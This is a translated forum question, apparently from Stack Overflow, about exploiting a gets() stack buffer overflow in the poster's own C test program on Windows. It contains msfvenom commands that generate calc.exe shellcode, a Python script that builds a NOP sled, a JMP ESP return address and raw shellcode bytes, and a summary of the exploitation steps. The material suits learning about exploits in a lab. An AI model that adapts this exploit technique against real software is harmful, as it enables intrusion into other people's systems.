使用msfvenom为C / C ++程序生成有效载荷,该有效载荷的输入为标准输入(缓冲区溢出)

时间:2018-12-26 20:29:47

标签: python c windows buffer-overflow

我正在尝试为C / C ++程序生成shellcode以利用缓冲区溢出漏洞,我的代码如下:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[]) {
   welcome();  // prints welcome message
   char daniel[2000];
   gets(daniel);
   return 0;
}

到目前为止,我只尝试在Windows下(在我的本地计算机Win10x64和带有Win7x86的VM中)利用它。 Shellcode是在Kali Linux x64中生成的,但是我不知道自己缺少什么或做错了什么。到目前为止,我已经尝试过的方法还有可能更多:

  

msfvenom -a x64-平台Windows -p Windows / x64 / exec cmd = calc.exe -e x86 / unicode_mixed -b'\ x00 \ x0a \ x0d'-f python

     

msfvenom -a x64-平台Windows -p Windows / x64 / exec cmd = calc.exe -e   x86 / unicode_upper -b'\ x00 \ x0a \ x0d'-f python

     

msfvenom -a x64-平台Windows -p Windows / x64 / exec cmd = calc.exe -e   x64 / xor -b'\ x00 \ x0a \ x0d'-f python

     

msfvenom -a x64-平台Windows -p Windows / x64 / exec cmd = calc.exe -b'\ x00 \ x0a \ x0d'-f python

     

msfvenom -a x86-平台Windows -p Windows / exec cmd = calc.exe -e x86 / unicode_mixed -b'\ x00 \ x0a \ x0d'-f python

     

msfvenom -a x86 -b'\ x00 \ x0a \ x0d \ xff'-平台Windows -p Windows / exec cmd = calc.exe -f python

     

msfvenom -a x86 -e x86 / alpha_mixed -b'\ x00 \ x0a \ x0d'--platform Windows -p Windows / exec cmd = calc.exe -f python

我生成有效负载的python脚本是:

import struct
import pyperclip

junk = "\x90" * (2024-220-4)

eip = struct.pack('<I', 0x6FFBB391)

buf =  ""
buf += "\xd9\xf7\xba\x8a\x16\xda\xd3\xd9\x74\x24\xf4\x5f\x33"
buf += "\xc9\xb1\x31\x31\x57\x18\x83\xef\xfc\x03\x57\x9e\xf4"
buf += "\x2f\x2f\x76\x7a\xcf\xd0\x86\x1b\x59\x35\xb7\x1b\x3d"
buf += "\x3d\xe7\xab\x35\x13\x0b\x47\x1b\x80\x98\x25\xb4\xa7"
buf += "\x29\x83\xe2\x86\xaa\xb8\xd7\x89\x28\xc3\x0b\x6a\x11"
buf += "\x0c\x5e\x6b\x56\x71\x93\x39\x0f\xfd\x06\xae\x24\x4b"
buf += "\x9b\x45\x76\x5d\x9b\xba\xce\x5c\x8a\x6c\x45\x07\x0c"
buf += "\x8e\x8a\x33\x05\x88\xcf\x7e\xdf\x23\x3b\xf4\xde\xe5"
buf += "\x72\xf5\x4d\xc8\xbb\x04\x8f\x0c\x7b\xf7\xfa\x64\x78"
buf += "\x8a\xfc\xb2\x03\x50\x88\x20\xa3\x13\x2a\x8d\x52\xf7"
buf += "\xad\x46\x58\xbc\xba\x01\x7c\x43\x6e\x3a\x78\xc8\x91"
buf += "\xed\x09\x8a\xb5\x29\x52\x48\xd7\x68\x3e\x3f\xe8\x6b"
buf += "\xe1\xe0\x4c\xe7\x0f\xf4\xfc\xaa\x45\x0b\x72\xd1\x2b"
buf += "\x0b\x8c\xda\x1b\x64\xbd\x51\xf4\xf3\x42\xb0\xb1\x0c"
buf += "\x09\x99\x93\x84\xd4\x4b\xa6\xc8\xe6\xa1\xe4\xf4\x64"
buf += "\x40\x94\x02\x74\x21\x91\x4f\x32\xd9\xeb\xc0\xd7\xdd"
buf += "\x58\xe0\xfd\xbd\x3f\x72\x9d\x6f\xda\xf2\x04\x70"


buffer_data = junk + eip + buf

print buffer_data
# pyperclip.copy(buffer_data)

我正在做的事情摘要:

  1. 找出缓冲区有多大(发生SEGFAULT)
  2. 找出我覆盖EIP(2024)的时间
  3. 程序中加载的DLL的JMP ESP指令位于0x6FFBB391(msvcrt)
  4. 将EIP设置为0x6FFBB391
  5. 将我的shellcode推送到ESP
  6. 使用有效负载运行程序

根据Immunity Debugger,结果是“读取7037DCF5时发生访问冲突”。程序使用“ -fno-stack-protector”标志编译,并且ASLR被禁用。

我的假设是编码不正确,并且未按应然生成shellcode。在这种情况下,您是否可以遵循一些指示以利用缓冲区溢出?我真的不介意该做什么,目前我正试图打开一个计算器,因为这似乎是最简单的选择,但任何事情都可以。

谢谢。

0 个答案:

没有答案